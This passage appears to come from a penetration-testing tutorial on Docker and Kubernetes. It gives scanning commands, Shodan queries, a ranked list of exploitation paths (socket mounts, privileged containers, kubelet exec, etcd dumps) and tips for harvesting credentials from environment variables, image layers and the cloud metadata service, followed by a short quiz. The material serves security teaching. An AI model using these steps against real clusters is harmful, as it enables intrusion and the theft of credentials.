kubectl who-can create pods
kubectl who-can get secrets

# kubeaudit β€” audit Kubernetes clusters for security issues
kubeaudit all

# kube-hunter β€” automated Kubernetes penetration testing
kube-hunter --remote target_ip
kube-hunter --internal  # Run from inside a pod

🎯 Real-World Methodology

Phase 1: Discovery

# 1. Port scan for container-related services
nmap -p 2375,2376,5000,6443,8080,10250,10255 target.com

# 2. Check Shodan for exposed Docker/k8s
# "Docker" port:2375
# "Kubernetes" port:6443
# "etcd" port:2379

# 3. Identify containerization from inside a compromised host
docker ps; docker images
kubectl get pods 2>/dev/null
ls /var/run/docker.sock

Phase 2: Enumeration

  1. If Docker API accessible: list containers, images, networks
  2. If in a container: check capabilities, mounts, socket, env vars
  3. If k8s: check service account permissions, list resources
  4. Run deepce/CDK for automated assessment

Phase 3: Exploitation

Priority order:

  1. Docker socket mounted β†’ instant host access
  2. Privileged container β†’ mount host disk
  3. Exposed Docker API β†’ create privileged container
  4. Exposed kubelet β†’ exec in other pods
  5. K8s secrets β†’ credential harvesting
  6. etcd access β†’ dump everything
  7. Capability abuse (SYS_ADMIN, SYS_PTRACE)
  8. Network pivoting β†’ access internal services

⚠️ Common Mistakes

❌ Mistake #1: Assuming containers are secure by default.
Docker's default configuration is reasonably secure, but developers routinely add --privileged, mount the Docker socket, or disable security features for convenience. Always check.
❌ Mistake #2: Ignoring environment variables.
env | sort is one of the first commands to run inside any container. Database URLs, API keys, cloud credentials, and internal service endpoints are frequently passed as environment variables.
❌ Mistake #3: Not checking the internal network.
Kubernetes pods can reach each other by default. That internal Redis, MongoDB, or admin panel that's "not exposed to the internet" is often accessible from any pod without authentication.
❌ Mistake #4: Forgetting about image layers.
Docker images are layered. A secret added in layer 1 and deleted in layer 5 still exists in layer 1. Pull images, extract all layers, and search them all for credentials.
❌ Mistake #5: Not checking the metadata service.
In cloud environments (AWS, GCP, Azure), the instance metadata service at 169.254.169.254 is often accessible from containers and can provide IAM credentials for the underlying instance.
❌ Mistake #6: Overlooking Kubernetes RBAC.
RBAC (Role-Based Access Control) is how Kubernetes controls who can do what in the cluster. Always check kubectl auth can-i --list. A service account might have more permissions than expected β€” ability to create pods, read secrets, or bind to cluster-admin role.

πŸ“š Further Reading

πŸ“

Final Assessment: Docker & Kubernetes Security

0 / 3
An attacker inside a container discovers that env reveals DATABASE_URL=postgres://admin:P@ssw0rd@db:5432/app and AWS_SECRET_ACCESS_KEY=.... What common Docker security mistake does this illustrate?
Passing secrets as environment variables is one of the most common container security mistakes. Environment variables are easily discoverable via env, /proc/self/environ, or container inspection. They often contain database credentials, cloud API keys, and internal service endpoints. Use a dedicated secrets manager (Vault, AWS Secrets Manager, K8s secrets with encryption) instead.
Why is it important to extract and search ALL layers of a Docker image, not just the final filesystem?
Docker images are layered β€” each instruction in the Dockerfile creates a new layer. If credentials are added in layer 1 (e.g., COPY .env /app/) and deleted in layer 5 (e.g., RUN rm /app/.env), the secrets still exist in the layer 1 data. Always extract every layer from the registry and search them all.
In Kubernetes, what command checks what actions the current service account is authorized to perform?
kubectl auth can-i --list shows all actions the current identity is authorized to perform. This is the first command to run after gaining kubectl access β€” it reveals if you can read secrets, create pods, exec into containers, or bind to powerful roles. A service account with more permissions than expected is a common escalation path.